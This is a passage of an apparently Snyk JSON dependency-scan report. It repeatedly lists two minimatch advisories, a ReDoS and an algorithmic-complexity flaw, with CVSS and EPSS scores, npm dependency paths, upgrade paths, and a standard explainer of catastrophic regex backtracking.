resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system 